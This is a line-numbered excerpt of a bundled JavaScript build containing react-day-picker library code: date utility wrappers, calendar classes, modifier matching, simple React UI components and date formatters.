53425 return this.overrides?.addMonths ? this.overrides.addMonths(date, amount) : addMonths2(date, amount);
53426 };
53427 this.addWeeks = (date, amount) => {
53428 return this.overrides?.addWeeks ? this.overrides.addWeeks(date, amount) : addWeeks2(date, amount);
53429 };
53430 this.addYears = (date, amount) => {
53431 return this.overrides?.addYears ? this.overrides.addYears(date, amount) : addYears2(date, amount);
53432 };
53433 this.differenceInCalendarDays = (dateLeft, dateRight) => {
53434 return this.overrides?.differenceInCalendarDays ? this.overrides.differenceInCalendarDays(dateLeft, dateRight) : differenceInCalendarDays2(dateLeft, dateRight);
53435 };
53436 this.differenceInCalendarMonths = (dateLeft, dateRight) => {
53437 return this.overrides?.differenceInCalendarMonths ? this.overrides.differenceInCalendarMonths(dateLeft, dateRight) : differenceInCalendarMonths(dateLeft, dateRight);
53438 };
53439 this.eachMonthOfInterval = (interval) => {
53440 return this.overrides?.eachMonthOfInterval ? this.overrides.eachMonthOfInterval(interval) : eachMonthOfInterval2(interval);
53441 };
53442 this.endOfBroadcastWeek = (date) => {
53443 return this.overrides?.endOfBroadcastWeek ? this.overrides.endOfBroadcastWeek(date) : endOfBroadcastWeek(date, this);
53444 };
53445 this.endOfISOWeek = (date) => {
53446 return this.overrides?.endOfISOWeek ? this.overrides.endOfISOWeek(date) : endOfISOWeek(date);
53447 };
53448 this.endOfMonth = (date) => {
53449 return this.overrides?.endOfMonth ? this.overrides.endOfMonth(date) : endOfMonth2(date);
53450 };
53451 this.endOfWeek = (date, options3) => {
53452 return this.overrides?.endOfWeek ? this.overrides.endOfWeek(date, options3) : endOfWeek2(date, this.options);
53453 };
53454 this.endOfYear = (date) => {
53455 return this.overrides?.endOfYear ? this.overrides.endOfYear(date) : endOfYear(date);
53456 };
53457 this.format = (date, formatStr, options3) => {
53458 const formatted = this.overrides?.format ? this.overrides.format(date, formatStr, this.options) : format(date, formatStr, this.options);
53459 if (this.options.numerals && this.options.numerals !== "latn") {
53460 return this.replaceDigits(formatted);
53461 }
53462 return formatted;
53463 };
53464 this.getISOWeek = (date) => {
53465 return this.overrides?.getISOWeek ? this.overrides.getISOWeek(date) : getISOWeek(date);
53466 };
53467 this.getMonth = (date, options3) => {
53468 return this.overrides?.getMonth ? this.overrides.getMonth(date, this.options) : getMonth(date, this.options);
53469 };
53470 this.getYear = (date, options3) => {
53471 return this.overrides?.getYear ? this.overrides.getYear(date, this.options) : getYear(date, this.options);
53472 };
53473 this.getWeek = (date, options3) => {
53474 return this.overrides?.getWeek ? this.overrides.getWeek(date, this.options) : getWeek(date, this.options);
53475 };
53476 this.isAfter = (date, dateToCompare) => {
53477 return this.overrides?.isAfter ? this.overrides.isAfter(date, dateToCompare) : isAfter2(date, dateToCompare);
53478 };
53479 this.isBefore = (date, dateToCompare) => {
53480 return this.overrides?.isBefore ? this.overrides.isBefore(date, dateToCompare) : isBefore2(date, dateToCompare);
53481 };
53482 this.isDate = (value) => {
53483 return this.overrides?.isDate ? this.overrides.isDate(value) : isDate(value);
53484 };
53485 this.isSameDay = (dateLeft, dateRight) => {
53486 return this.overrides?.isSameDay ? this.overrides.isSameDay(dateLeft, dateRight) : isSameDay2(dateLeft, dateRight);
53487 };
53488 this.isSameMonth = (dateLeft, dateRight) => {
53489 return this.overrides?.isSameMonth ? this.overrides.isSameMonth(dateLeft, dateRight) : isSameMonth2(dateLeft, dateRight);
53490 };
53491 this.isSameYear = (dateLeft, dateRight) => {
53492 return this.overrides?.isSameYear ? this.overrides.isSameYear(dateLeft, dateRight) : isSameYear(dateLeft, dateRight);
53493 };
53494 this.max = (dates) => {
53495 return this.overrides?.max ? this.overrides.max(dates) : max2(dates);
53496 };
53497 this.min = (dates) => {
53498 return this.overrides?.min ? this.overrides.min(dates) : min2(dates);
53499 };
53500 this.setMonth = (date, month) => {
53501 return this.overrides?.setMonth ? this.overrides.setMonth(date, month) : setMonth2(date, month);
53502 };
53503 this.setYear = (date, year) => {
53504 return this.overrides?.setYear ? this.overrides.setYear(date, year) : setYear2(date, year);
53505 };
53506 this.startOfBroadcastWeek = (date, dateLib) => {
53507 return this.overrides?.startOfBroadcastWeek ? this.overrides.startOfBroadcastWeek(date, this) : startOfBroadcastWeek(date, this);
53508 };
53509 this.startOfDay = (date) => {
53510 return this.overrides?.startOfDay ? this.overrides.startOfDay(date) : startOfDay2(date);
53511 };
53512 this.startOfISOWeek = (date) => {
53513 return this.overrides?.startOfISOWeek ? this.overrides.startOfISOWeek(date) : startOfISOWeek(date);
53514 };
53515 this.startOfMonth = (date) => {
53516 return this.overrides?.startOfMonth ? this.overrides.startOfMonth(date) : startOfMonth2(date);
53517 };
53518 this.startOfWeek = (date, options3) => {
53519 return this.overrides?.startOfWeek ? this.overrides.startOfWeek(date, this.options) : startOfWeek2(date, this.options);
53520 };
53521 this.startOfYear = (date) => {
53522 return this.overrides?.startOfYear ? this.overrides.startOfYear(date) : startOfYear(date);
53523 };
53524 this.options = { locale: enUS, ...options2 };
53525 this.overrides = overrides;
53526 }
53527 /**
53528 * Generates a mapping of Arabic digits (0-9) to the target numbering system
53529 * digits.
53530 *
53531 * @since 9.5.0
53532 * @returns A record mapping Arabic digits to the target numerals.
53533 */
53534 getDigitMap() {
53535 const { numerals = "latn" } = this.options;
53536 const formatter = new Intl.NumberFormat("en-US", {
53537 numberingSystem: numerals
53538 });
53539 const digitMap = {};
53540 for (let i3 = 0; i3 < 10; i3++) {
53541 digitMap[i3.toString()] = formatter.format(i3);
53542 }
53543 return digitMap;
53544 }
53545 /**
53546 * Replaces Arabic digits in a string with the target numbering system digits.
53547 *
53548 * @since 9.5.0
53549 * @param input The string containing Arabic digits.
53550 * @returns The string with digits replaced.
53551 */
53552 replaceDigits(input) {
53553 const digitMap = this.getDigitMap();
53554 return input.replace(/\d/g, (digit) => digitMap[digit] || digit);
53555 }
53556 /**
53557 * Formats a number using the configured numbering system.
53558 *
53559 * @since 9.5.0
53560 * @param value The number to format.
53561 * @returns The formatted number as a string.
53562 */
53563 formatNumber(value) {
53564 return this.replaceDigits(value.toString());
53565 }
53566 };
53567 var defaultDateLib = new DateLib();
53568
53569 // node_modules/react-day-picker/dist/esm/classes/CalendarDay.js
53570 var CalendarDay = class {
53571 constructor(date, displayMonth, dateLib = defaultDateLib) {
53572 this.date = date;
53573 this.displayMonth = displayMonth;
53574 this.outside = Boolean(displayMonth && !dateLib.isSameMonth(date, displayMonth));
53575 this.dateLib = dateLib;
53576 }
53577 /**
53578 * Checks if this day is equal to another `CalendarDay`, considering both the
53579 * date and the displayed month.
53580 *
53581 * @param day The `CalendarDay` to compare with.
53582 * @returns `true` if the days are equal, otherwise `false`.
53583 */
53584 isEqualTo(day) {
53585 return this.dateLib.isSameDay(day.date, this.date) && this.dateLib.isSameMonth(day.displayMonth, this.displayMonth);
53586 }
53587 };
53588
53589 // node_modules/react-day-picker/dist/esm/classes/CalendarMonth.js
53590 var CalendarMonth = class {
53591 constructor(month, weeks) {
53592 this.date = month;
53593 this.weeks = weeks;
53594 }
53595 };
53596
53597 // node_modules/react-day-picker/dist/esm/classes/CalendarWeek.js
53598 var CalendarWeek = class {
53599 constructor(weekNumber, days) {
53600 this.days = days;
53601 this.weekNumber = weekNumber;
53602 }
53603 };
53604
53605 // node_modules/react-day-picker/dist/esm/utils/rangeIncludesDate.js
53606 function rangeIncludesDate(range, date, excludeEnds = false, dateLib = defaultDateLib) {
53607 let { from: from2, to } = range;
53608 const { differenceInCalendarDays: differenceInCalendarDays3, isSameDay: isSameDay3 } = dateLib;
53609 if (from2 && to) {
53610 const isRangeInverted = differenceInCalendarDays3(to, from2) < 0;
53611 if (isRangeInverted) {
53612 [from2, to] = [to, from2];
53613 }
53614 const isInRange = differenceInCalendarDays3(date, from2) >= (excludeEnds ? 1 : 0) && differenceInCalendarDays3(to, date) >= (excludeEnds ? 1 : 0);
53615 return isInRange;
53616 }
53617 if (!excludeEnds && to) {
53618 return isSameDay3(to, date);
53619 }
53620 if (!excludeEnds && from2) {
53621 return isSameDay3(from2, date);
53622 }
53623 return false;
53624 }
53625
53626 // node_modules/react-day-picker/dist/esm/utils/typeguards.js
53627 function isDateInterval(matcher) {
53628 return Boolean(matcher && typeof matcher === "object" && "before" in matcher && "after" in matcher);
53629 }
53630 function isDateRange(value) {
53631 return Boolean(value && typeof value === "object" && "from" in value);
53632 }
53633 function isDateAfterType(value) {
53634 return Boolean(value && typeof value === "object" && "after" in value);
53635 }
53636 function isDateBeforeType(value) {
53637 return Boolean(value && typeof value === "object" && "before" in value);
53638 }
53639 function isDayOfWeekType(value) {
53640 return Boolean(value && typeof value === "object" && "dayOfWeek" in value);
53641 }
53642 function isDatesArray(value, dateLib) {
53643 return Array.isArray(value) && value.every(dateLib.isDate);
53644 }
53645
53646 // node_modules/react-day-picker/dist/esm/utils/dateMatchModifiers.js
53647 function dateMatchModifiers(date, matchers, dateLib = defaultDateLib) {
53648 const matchersArr = !Array.isArray(matchers) ? [matchers] : matchers;
53649 const { isSameDay: isSameDay3, differenceInCalendarDays: differenceInCalendarDays3, isAfter: isAfter3 } = dateLib;
53650 return matchersArr.some((matcher) => {
53651 if (typeof matcher === "boolean") {
53652 return matcher;
53653 }
53654 if (dateLib.isDate(matcher)) {
53655 return isSameDay3(date, matcher);
53656 }
53657 if (isDatesArray(matcher, dateLib)) {
53658 return matcher.includes(date);
53659 }
53660 if (isDateRange(matcher)) {
53661 return rangeIncludesDate(matcher, date, false, dateLib);
53662 }
53663 if (isDayOfWeekType(matcher)) {
53664 if (!Array.isArray(matcher.dayOfWeek)) {
53665 return matcher.dayOfWeek === date.getDay();
53666 }
53667 return matcher.dayOfWeek.includes(date.getDay());
53668 }
53669 if (isDateInterval(matcher)) {
53670 const diffBefore = differenceInCalendarDays3(matcher.before, date);
53671 const diffAfter = differenceInCalendarDays3(matcher.after, date);
53672 const isDayBefore = diffBefore > 0;
53673 const isDayAfter = diffAfter < 0;
53674 const isClosedInterval = isAfter3(matcher.before, matcher.after);
53675 if (isClosedInterval) {
53676 return isDayAfter && isDayBefore;
53677 } else {
53678 return isDayBefore || isDayAfter;
53679 }
53680 }
53681 if (isDateAfterType(matcher)) {
53682 return differenceInCalendarDays3(date, matcher.after) > 0;
53683 }
53684 if (isDateBeforeType(matcher)) {
53685 return differenceInCalendarDays3(matcher.before, date) > 0;
53686 }
53687 if (typeof matcher === "function") {
53688 return matcher(date);
53689 }
53690 return false;
53691 });
53692 }
53693
53694 // node_modules/react-day-picker/dist/esm/helpers/createGetModifiers.js
53695 function createGetModifiers(days, props, dateLib) {
53696 const { disabled, hidden, modifiers, showOutsideDays, broadcastCalendar, today } = props;
53697 const { isSameDay: isSameDay3, isSameMonth: isSameMonth3, startOfMonth: startOfMonth3, isBefore: isBefore3, endOfMonth: endOfMonth3, isAfter: isAfter3 } = dateLib;
53698 const startMonth = props.startMonth && startOfMonth3(props.startMonth);
53699 const endMonth = props.endMonth && endOfMonth3(props.endMonth);
53700 const internalModifiersMap = {
53701 [DayFlag.focused]: [],
53702 [DayFlag.outside]: [],
53703 [DayFlag.disabled]: [],
53704 [DayFlag.hidden]: [],
53705 [DayFlag.today]: []
53706 };
53707 const customModifiersMap = {};
53708 for (const day of days) {
53709 const { date, displayMonth } = day;
53710 const isOutside = Boolean(displayMonth && !isSameMonth3(date, displayMonth));
53711 const isBeforeStartMonth = Boolean(startMonth && isBefore3(date, startMonth));
53712 const isAfterEndMonth = Boolean(endMonth && isAfter3(date, endMonth));
53713 const isDisabled = Boolean(disabled && dateMatchModifiers(date, disabled, dateLib));
53714 const isHidden2 = Boolean(hidden && dateMatchModifiers(date, hidden, dateLib)) || isBeforeStartMonth || isAfterEndMonth || // Broadcast calendar will show outside days as default
53715 !broadcastCalendar && !showOutsideDays && isOutside || broadcastCalendar && showOutsideDays === false && isOutside;
53716 const isToday = isSameDay3(date, today ?? dateLib.today());
53717 if (isOutside)
53718 internalModifiersMap.outside.push(day);
53719 if (isDisabled)
53720 internalModifiersMap.disabled.push(day);
53721 if (isHidden2)
53722 internalModifiersMap.hidden.push(day);
53723 if (isToday)
53724 internalModifiersMap.today.push(day);
53725 if (modifiers) {
53726 Object.keys(modifiers).forEach((name) => {
53727 const modifierValue = modifiers?.[name];
53728 const isMatch = modifierValue ? dateMatchModifiers(date, modifierValue, dateLib) : false;
53729 if (!isMatch)
53730 return;
53731 if (customModifiersMap[name]) {
53732 customModifiersMap[name].push(day);
53733 } else {
53734 customModifiersMap[name] = [day];
53735 }
53736 });
53737 }
53738 }
53739 return (day) => {
53740 const dayFlags = {
53741 [DayFlag.focused]: false,
53742 [DayFlag.disabled]: false,
53743 [DayFlag.hidden]: false,
53744 [DayFlag.outside]: false,
53745 [DayFlag.today]: false
53746 };
53747 const customModifiers = {};
53748 for (const name in internalModifiersMap) {
53749 const days2 = internalModifiersMap[name];
53750 dayFlags[name] = days2.some((d3) => d3 === day);
53751 }
53752 for (const name in customModifiersMap) {
53753 customModifiers[name] = customModifiersMap[name].some((d3) => d3 === day);
53754 }
53755 return {
53756 ...dayFlags,
53757 // custom modifiers should override all the previous ones
53758 ...customModifiers
53759 };
53760 };
53761 }
53762
53763 // node_modules/react-day-picker/dist/esm/helpers/getClassNamesForModifiers.js
53764 function getClassNamesForModifiers(modifiers, classNames, modifiersClassNames = {}) {
53765 const modifierClassNames = Object.entries(modifiers).filter(([, active]) => active === true).reduce((previousValue, [key]) => {
53766 if (modifiersClassNames[key]) {
53767 previousValue.push(modifiersClassNames[key]);
53768 } else if (classNames[DayFlag[key]]) {
53769 previousValue.push(classNames[DayFlag[key]]);
53770 } else if (classNames[SelectionState[key]]) {
53771 previousValue.push(classNames[SelectionState[key]]);
53772 }
53773 return previousValue;
53774 }, [classNames[UI2.Day]]);
53775 return modifierClassNames;
53776 }
53777
53778 // node_modules/react-day-picker/dist/esm/components/custom-components.js
53779 var custom_components_exports = {};
53780 __export(custom_components_exports, {
53781 Button: () => Button4,
53782 CaptionLabel: () => CaptionLabel,
53783 Chevron: () => Chevron,
53784 Day: () => Day3,
53785 DayButton: () => DayButton2,
53786 Dropdown: () => Dropdown2,
53787 DropdownNav: () => DropdownNav,
53788 Footer: () => Footer2,
53789 Month: () => Month,
53790 MonthCaption: () => MonthCaption,
53791 MonthGrid: () => MonthGrid,
53792 Months: () => Months,
53793 MonthsDropdown: () => MonthsDropdown,
53794 Nav: () => Nav,
53795 NextMonthButton: () => NextMonthButton,
53796 Option: () => Option3,
53797 PreviousMonthButton: () => PreviousMonthButton,
53798 Root: () => Root5,
53799 Select: () => Select4,
53800 Week: () => Week,
53801 WeekNumber: () => WeekNumber,
53802 WeekNumberHeader: () => WeekNumberHeader,
53803 Weekday: () => Weekday,
53804 Weekdays: () => Weekdays,
53805 Weeks: () => Weeks,
53806 YearsDropdown: () => YearsDropdown
53807 });
53808
53809 // node_modules/react-day-picker/dist/esm/components/Button.js
53810 var import_react132 = __toESM(require_react(), 1);
53811 function Button4(props) {
53812 return import_react132.default.createElement("button", { ...props });
53813 }
53814
53815 // node_modules/react-day-picker/dist/esm/components/CaptionLabel.js
53816 var import_react133 = __toESM(require_react(), 1);
53817 function CaptionLabel(props) {
53818 return import_react133.default.createElement("span", { ...props });
53819 }
53820
53821 // node_modules/react-day-picker/dist/esm/components/Chevron.js
53822 var import_react134 = __toESM(require_react(), 1);
53823 function Chevron(props) {
53824 const { size: size3 = 24, orientation = "left", className: className2 } = props;
53825 return import_react134.default.createElement(
53826 "svg",
53827 { className: className2, width: size3, height: size3, viewBox: "0 0 24 24" },
53828 orientation === "up" && import_react134.default.createElement("polygon", { points: "6.77 17 12.5 11.43 18.24 17 20 15.28 12.5 8 5 15.28" }),
53829 orientation === "down" && import_react134.default.createElement("polygon", { points: "6.77 8 12.5 13.57 18.24 8 20 9.72 12.5 17 5 9.72" }),
53830 orientation === "left" && import_react134.default.createElement("polygon", { points: "16 18.112 9.81111111 12 16 5.87733333 14.0888889 4 6 12 14.0888889 20" }),
53831 orientation === "right" && import_react134.default.createElement("polygon", { points: "8 18.112 14.18888889 12 8 5.87733333 9.91111111 4 18 12 9.91111111 20" })
53832 );
53833 }
53834
53835 // node_modules/react-day-picker/dist/esm/components/Day.js
53836 var import_react135 = __toESM(require_react(), 1);
53837 function Day3(props) {
53838 const { day, modifiers, ...tdProps } = props;
53839 return import_react135.default.createElement("td", { ...tdProps });
53840 }
53841
53842 // node_modules/react-day-picker/dist/esm/components/DayButton.js
53843 var import_react136 = __toESM(require_react(), 1);
53844 function DayButton2(props) {
53845 const { day, modifiers, ...buttonProps } = props;
53846 const ref = import_react136.default.useRef(null);
53847 import_react136.default.useEffect(() => {
53848 if (modifiers.focused)
53849 ref.current?.focus();
53850 }, [modifiers.focused]);
53851 return import_react136.default.createElement("button", { ref, ...buttonProps });
53852 }
53853
53854 // node_modules/react-day-picker/dist/esm/components/Dropdown.js
53855 var import_react137 = __toESM(require_react(), 1);
53856 function Dropdown2(props) {
53857 const { options: options2, className: className2, components, classNames, ...selectProps } = props;
53858 const cssClassSelect = [classNames[UI2.Dropdown], className2].join(" ");
53859 const selectedOption = options2?.find(({ value }) => value === selectProps.value);
53860 return import_react137.default.createElement(
53861 "span",
53862 { "data-disabled": selectProps.disabled, className: classNames[UI2.DropdownRoot] },
53863 import_react137.default.createElement(components.Select, { className: cssClassSelect, ...selectProps }, options2?.map(({ value, label, disabled }) => import_react137.default.createElement(components.Option, { key: value, value, disabled }, label))),
53864 import_react137.default.createElement(
53865 "span",
53866 { className: classNames[UI2.CaptionLabel], "aria-hidden": true },
53867 selectedOption?.label,
53868 import_react137.default.createElement(components.Chevron, { orientation: "down", size: 18, className: classNames[UI2.Chevron] })
53869 )
53870 );
53871 }
53872
53873 // node_modules/react-day-picker/dist/esm/components/DropdownNav.js
53874 var import_react138 = __toESM(require_react(), 1);
53875 function DropdownNav(props) {
53876 return import_react138.default.createElement("div", { ...props });
53877 }
53878
53879 // node_modules/react-day-picker/dist/esm/components/Footer.js
53880 var import_react139 = __toESM(require_react(), 1);
53881 function Footer2(props) {
53882 return import_react139.default.createElement("div", { ...props });
53883 }
53884
53885 // node_modules/react-day-picker/dist/esm/components/Month.js
53886 var import_react140 = __toESM(require_react(), 1);
53887 function Month(props) {
53888 const { calendarMonth, displayIndex, ...divProps } = props;
53889 return import_react140.default.createElement("div", { ...divProps }, props.children);
53890 }
53891
53892 // node_modules/react-day-picker/dist/esm/components/MonthCaption.js
53893 var import_react141 = __toESM(require_react(), 1);
53894 function MonthCaption(props) {
53895 const { calendarMonth, displayIndex, ...divProps } = props;
53896 return import_react141.default.createElement("div", { ...divProps });
53897 }
53898
53899 // node_modules/react-day-picker/dist/esm/components/MonthGrid.js
53900 var import_react142 = __toESM(require_react(), 1);
53901 function MonthGrid(props) {
53902 return import_react142.default.createElement("table", { ...props });
53903 }
53904
53905 // node_modules/react-day-picker/dist/esm/components/Months.js
53906 var import_react143 = __toESM(require_react(), 1);
53907 function Months(props) {
53908 return import_react143.default.createElement("div", { ...props });
53909 }
53910
53911 // node_modules/react-day-picker/dist/esm/components/MonthsDropdown.js
53912 var import_react145 = __toESM(require_react(), 1);
53913
53914 // node_modules/react-day-picker/dist/esm/useDayPicker.js
53915 var import_react144 = __toESM(require_react(), 1);
53916 var dayPickerContext = (0, import_react144.createContext)(void 0);
53917 function useDayPicker() {
53918 const context = (0, import_react144.useContext)(dayPickerContext);
53919 if (context === void 0) {
53920 throw new Error("useDayPicker() must be used within a custom component.");
53921 }
53922 return context;
53923 }
53924
53925 // node_modules/react-day-picker/dist/esm/components/MonthsDropdown.js
53926 function MonthsDropdown(props) {
53927 const { components } = useDayPicker();
53928 return import_react145.default.createElement(components.Dropdown, { ...props });
53929 }
53930
53931 // node_modules/react-day-picker/dist/esm/components/Nav.js
53932 var import_react146 = __toESM(require_react(), 1);
53933 function Nav(props) {
53934 const { onPreviousClick, onNextClick, previousMonth, nextMonth, ...navProps } = props;
53935 const { components, classNames, labels: { labelPrevious: labelPrevious2, labelNext: labelNext2 } } = useDayPicker();
53936 const handleNextClick = (0, import_react146.useCallback)((e3) => {
53937 if (nextMonth) {
53938 onNextClick?.(e3);
53939 }
53940 }, [nextMonth, onNextClick]);
53941 const handlePreviousClick = (0, import_react146.useCallback)((e3) => {
53942 if (previousMonth) {
53943 onPreviousClick?.(e3);
53944 }
53945 }, [previousMonth, onPreviousClick]);
53946 return import_react146.default.createElement(
53947 "nav",
53948 { ...navProps },
53949 import_react146.default.createElement(
53950 components.PreviousMonthButton,
53951 { type: "button", className: classNames[UI2.PreviousMonthButton], tabIndex: previousMonth ? void 0 : -1, "aria-disabled": previousMonth ? void 0 : true, "aria-label": labelPrevious2(previousMonth), onClick: handlePreviousClick },
53952 import_react146.default.createElement(components.Chevron, { disabled: previousMonth ? void 0 : true, className: classNames[UI2.Chevron], orientation: "left" })
53953 ),
53954 import_react146.default.createElement(
53955 components.NextMonthButton,
53956 { type: "button", className: classNames[UI2.NextMonthButton], tabIndex: nextMonth ? void 0 : -1, "aria-disabled": nextMonth ? void 0 : true, "aria-label": labelNext2(nextMonth), onClick: handleNextClick },
53957 import_react146.default.createElement(components.Chevron, { disabled: nextMonth ? void 0 : true, orientation: "right", className: classNames[UI2.Chevron] })
53958 )
53959 );
53960 }
53961
53962 // node_modules/react-day-picker/dist/esm/components/NextMonthButton.js
53963 var import_react147 = __toESM(require_react(), 1);
53964 function NextMonthButton(props) {
53965 const { components } = useDayPicker();
53966 return import_react147.default.createElement(components.Button, { ...props });
53967 }
53968
53969 // node_modules/react-day-picker/dist/esm/components/Option.js
53970 var import_react148 = __toESM(require_react(), 1);
53971 function Option3(props) {
53972 return import_react148.default.createElement("option", { ...props });
53973 }
53974
53975 // node_modules/react-day-picker/dist/esm/components/PreviousMonthButton.js
53976 var import_react149 = __toESM(require_react(), 1);
53977 function PreviousMonthButton(props) {
53978 const { components } = useDayPicker();
53979 return import_react149.default.createElement(components.Button, { ...props });
53980 }
53981
53982 // node_modules/react-day-picker/dist/esm/components/Root.js
53983 var import_react150 = __toESM(require_react(), 1);
53984 function Root5(props) {
53985 const { rootRef, ...rest } = props;
53986 return import_react150.default.createElement("div", { ...rest, ref: rootRef });
53987 }
53988
53989 // node_modules/react-day-picker/dist/esm/components/Select.js
53990 var import_react151 = __toESM(require_react(), 1);
53991 function Select4(props) {
53992 return import_react151.default.createElement("select", { ...props });
53993 }
53994
53995 // node_modules/react-day-picker/dist/esm/components/Week.js
53996 var import_react152 = __toESM(require_react(), 1);
53997 function Week(props) {
53998 const { week, ...trProps } = props;
53999 return import_react152.default.createElement("tr", { ...trProps });
54000 }
54001
54002 // node_modules/react-day-picker/dist/esm/components/Weekday.js
54003 var import_react153 = __toESM(require_react(), 1);
54004 function Weekday(props) {
54005 return import_react153.default.createElement("th", { ...props });
54006 }
54007
54008 // node_modules/react-day-picker/dist/esm/components/Weekdays.js
54009 var import_react154 = __toESM(require_react(), 1);
54010 function Weekdays(props) {
54011 return import_react154.default.createElement(
54012 "thead",
54013 { "aria-hidden": true },
54014 import_react154.default.createElement("tr", { ...props })
54015 );
54016 }
54017
54018 // node_modules/react-day-picker/dist/esm/components/WeekNumber.js
54019 var import_react155 = __toESM(require_react(), 1);
54020 function WeekNumber(props) {
54021 const { week, ...thProps } = props;
54022 return import_react155.default.createElement("th", { ...thProps });
54023 }
54024
54025 // node_modules/react-day-picker/dist/esm/components/WeekNumberHeader.js
54026 var import_react156 = __toESM(require_react(), 1);
54027 function WeekNumberHeader(props) {
54028 return import_react156.default.createElement("th", { ...props });
54029 }
54030
54031 // node_modules/react-day-picker/dist/esm/components/Weeks.js
54032 var import_react157 = __toESM(require_react(), 1);
54033 function Weeks(props) {
54034 return import_react157.default.createElement("tbody", { ...props });
54035 }
54036
54037 // node_modules/react-day-picker/dist/esm/components/YearsDropdown.js
54038 var import_react158 = __toESM(require_react(), 1);
54039 function YearsDropdown(props) {
54040 const { components } = useDayPicker();
54041 return import_react158.default.createElement(components.Dropdown, { ...props });
54042 }
54043
54044 // node_modules/react-day-picker/dist/esm/helpers/getComponents.js
54045 function getComponents(customComponents) {
54046 return {
54047 ...custom_components_exports,
54048 ...customComponents
54049 };
54050 }
54051
54052 // node_modules/react-day-picker/dist/esm/helpers/getDataAttributes.js
54053 function getDataAttributes(props) {
54054 const dataAttributes = {
54055 "data-mode": props.mode ?? void 0,
54056 "data-required": "required" in props ? props.required : void 0,
54057 "data-multiple-months": props.numberOfMonths && props.numberOfMonths > 1 || void 0,
54058 "data-week-numbers": props.showWeekNumber || void 0,
54059 "data-broadcast-calendar": props.broadcastCalendar || void 0,
54060 "data-nav-layout": props.navLayout || void 0
54061 };
54062 Object.entries(props).forEach(([key, val]) => {
54063 if (key.startsWith("data-")) {
54064 dataAttributes[key] = val;
54065 }
54066 });
54067 return dataAttributes;
54068 }
54069
54070 // node_modules/react-day-picker/dist/esm/helpers/getDefaultClassNames.js
54071 function getDefaultClassNames() {
54072 const classNames = {};
54073 for (const key in UI2) {
54074 classNames[UI2[key]] = `rdp-${UI2[key]}`;
54075 }
54076 for (const key in DayFlag) {
54077 classNames[DayFlag[key]] = `rdp-${DayFlag[key]}`;
54078 }
54079 for (const key in SelectionState) {
54080 classNames[SelectionState[key]] = `rdp-${SelectionState[key]}`;
54081 }
54082 for (const key in Animation) {
54083 classNames[Animation[key]] = `rdp-${Animation[key]}`;
54084 }
54085 return classNames;
54086 }
54087
54088 // node_modules/react-day-picker/dist/esm/formatters/index.js
54089 var formatters_exports = {};
54090 __export(formatters_exports, {
54091 formatCaption: () => formatCaption,
54092 formatDay: () => formatDay,
54093 formatMonthCaption: () => formatMonthCaption,
54094 formatMonthDropdown: () => formatMonthDropdown,
54095 formatWeekNumber: () => formatWeekNumber,
54096 formatWeekNumberHeader: () => formatWeekNumberHeader,
54097 formatWeekdayName: () => formatWeekdayName,
54098 formatYearCaption: () => formatYearCaption,
54099 formatYearDropdown: () => formatYearDropdown
54100 });
54101
54102 // node_modules/react-day-picker/dist/esm/formatters/formatCaption.js
54103 function formatCaption(month, options2, dateLib) {
54104 return (dateLib ?? new DateLib(options2)).format(month, "LLLL y");
54105 }
54106 var formatMonthCaption = formatCaption;
54107
54108 // node_modules/react-day-picker/dist/esm/formatters/formatDay.js
54109 function formatDay(date, options2, dateLib) {
54110 return (dateLib ?? new DateLib(options2)).format(date, "d");
54111 }
54112
54113 // node_modules/react-day-picker/dist/esm/formatters/formatMonthDropdown.js
54114 function formatMonthDropdown(month, dateLib = defaultDateLib) {
54115 return dateLib.format(month, "LLLL");
54116 }
54117
54118 // node_modules/react-day-picker/dist/esm/formatters/formatWeekNumber.js
54119 function formatWeekNumber(weekNumber, dateLib = defaultDateLib) {
54120 if (weekNumber < 10) {
54121 return dateLib.formatNumber(`0${weekNumber.toLocaleString()}`);
54122 }
54123 return dateLib.formatNumber(`${weekNumber.toLocaleString()}`);
54124 }
54125
54126 // node_modules/react-day-picker/dist/esm/formatters/formatWeekNumberHeader.js
54127 function formatWeekNumberHeader() {
54128 return ``;
54129 }
54130
54131 // node_modules/react-day-picker/dist/esm/formatters/formatWeekdayName.js
54132 function formatWeekdayName(weekday, options2, dateLib) {
54133 return (dateLib ?? new DateLib(options2)).format(weekday, "cccccc");
54134 }
54135
54136 // node_modules/react-day-picker/dist/esm/formatters/formatYearDropdown.js
54137 function formatYearDropdown(year, dateLib = defaultDateLib) {
54138 return dateLib.format(year, "yyyy");
54139 }
54140 var formatYearCaption = formatYearDropdown;
54141
54142 // node_modules/react-day-picker/dist/esm/helpers/getFormatters.js
54143 function getFormatters(customFormatters) {
54144 if (customFormatters?.formatMonthCaption && !customFormatters.formatCaption) {
54145 customFormatters.formatCaption = customFormatters.formatMonthCaption;
54146 }
54147 if (customFormatters?.formatYearCaption && !customFormatters.formatYearDropdown) {
54148 customFormatters.formatYearDropdown = customFormatters.formatYearCaption;
54149 }
54150 return {
54151 ...formatters_exports,
54152 ...customFormatters
54153 };
54154 }
54155
54156 // node_modules/react-day-picker/dist/esm/helpers/getMonthOptions.js
54157 function getMonthOptions(displayMonth, navStart, navEnd, formatters2, dateLib) {
54158 const { startOfMonth: startOfMonth3, startOfYear: startOfYear2, endOfYear: endOfYear2, eachMonthOfInterval: eachMonthOfInterval3, getMonth: getMonth2 } = dateLib;
54159 const months = eachMonthOfInterval3({
54160 start: startOfYear2(displayMonth),
54161 end: endOfYear2(displayMonth)
54162 });
54163 const options2 = months.map((month) => {
54164 const label = formatters2.formatMonthDropdown(month, dateLib);
54165 const value = getMonth2(month);
54166 const disabled = navStart && month < startOfMonth3(navStart) || navEnd && month > startOfMonth3(navEnd) || false;
54167 return { value, label, disabled };
54168 });
54169 return options2;
54170 }
54171
54172 // node_modules/react-day-picker/dist/esm/helpers/getStyleForModifiers.js
54173 function getStyleForModifiers(dayModifiers, styles3 = {}, modifiersStyles = {}) {
54174 let style2 = { ...styles3?.[UI2.Day] };
54175 Object.entries(dayModifiers).filter(([, active]) => active === true).forEach(([modifier]) => {
54176 style2 = {
54177 ...style2,
54178 ...modifiersStyles?.[modifier]
54179 };
54180 });
54181 return style2;
54182 }
54183
54184 // node_modules/react-day-picker/dist/esm/helpers/getWeekdays.js
54185 function getWeekdays(dateLib, ISOWeek, broadcastCalendar) {
54186 const today = dateLib.today();
54187 const start = broadcastCalendar ? dateLib.startOfBroadcastWeek(today, dateLib) : ISOWeek ? dateLib.startOfISOWeek(today) : dateLib.startOfWeek(today);
54188 const days = [];
54189 for (let i3 = 0; i3 < 7; i3++) {
54190 const day = dateLib.addDays(start, i3);
54191 days.push(day);
54192 }
54193 return days;
54194 }
54195
